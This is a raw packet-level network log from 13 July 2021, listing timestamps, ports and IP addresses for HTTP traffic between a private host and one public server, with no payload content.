Jul 13, 2021 14:37:53.929054976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929073095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929076910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929090023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929110050 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929126978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929141045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929157972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929172039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929182053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929191113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929207087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929213047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929236889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929259062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929346085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929387093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929402113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929418087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929429054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929454088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929459095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929958105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929986000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930010080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.930028915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930043936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930080891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930105925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930118084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.930130959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930150032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930166006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930171013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.930181980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930197954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930208921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.930217981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.930239916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.930985928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931051970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931081057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931097031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931135893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.931147099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931190014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931199074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.931205034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931220055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931236029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931243896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.931255102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931272984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931278944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.931299925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931329012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.931787968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.931965113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932292938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932338953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932354927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932369947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932378054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932385921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932405949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932416916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932451963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932487965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932543039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932770014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932785988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932801962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932816982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932823896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932833910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932848930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932871103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.932919025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932934999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932950020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932967901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932985067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.932991028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933000088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933015108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933031082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933038950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933057070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933068991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933072090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933089018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933103085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933137894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933151007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933166981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933182955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933217049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933685064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933798075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933814049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933825016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933847904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933877945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933901072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933916092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.933929920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.933984995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934231997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934248924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934263945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934278965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934288979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934294939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934309959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934312105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934328079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934329987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934345007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934360027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934362888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934376001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934391022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934396982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934406042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934421062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934436083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934438944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934454918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934472084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934478045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934487104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934494972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934503078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934519053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.934526920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.934556007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.935249090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935300112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935350895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935405016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.935420990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935468912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935723066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935735941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.935762882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.935813904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935859919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935875893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935892105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935940027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.935949087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.935981989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936036110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936052084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936067104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936080933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936081886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936100960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936116934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936116934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936146021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936216116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936230898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936247110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936261892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936300039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936321974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936362028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936459064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936563969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936582088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936609030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936614037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936630964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936647892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936691999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936750889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936788082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936871052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936887026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936904907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936908960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936920881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.936930895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.936959028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937047958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937088013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937103987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937146902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937186003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937268019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937297106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937336922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937412024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937427998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937577963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937608004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937624931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937648058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937724113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937762976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937778950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937793970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937815905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937849045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.937907934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.937949896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938263893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938280106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938303947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938333988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938333988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938350916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938471079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938487053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938514948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938544989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938551903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938607931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938671112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938687086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938709974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938728094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938740969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938780069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938786983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938826084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938865900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938882113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938904047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.938904047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938939095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.938987017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939029932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939064026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939100027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939146996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939193964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939254045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939270973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939286947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939299107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939327955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939340115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939357042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939393044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939393997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939409018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939481020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939517975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939652920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939668894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939685106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939699888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939718008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939724922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939749956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939754963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939831972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939846992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939882994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.939904928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939922094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939937115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.939979076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940047026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940063000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940092087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940109015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940130949 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940130949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940176010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940191984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940208912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940223932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940257072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940264940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940294027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940294027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940330982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940350056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940375090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940392017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940392017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940421104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940423965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940442085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940510988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940524101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940553904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940578938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940591097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940629005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.940690041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940707922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940747023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.940763950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941066980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941109896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941121101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941140890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941157103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941180944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941270113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941342115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941360950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941379070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941443920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941473007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941517115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941534042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941549063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941557884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941567898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941585064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941601992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941626072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941679001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941694975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941710949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941725969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941741943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941756964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941771984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941790104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941823959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941824913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941848040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941880941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941917896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941934109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.941941023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.941953897 CEST	80	49757	47.254.186.176	192.168.2.3
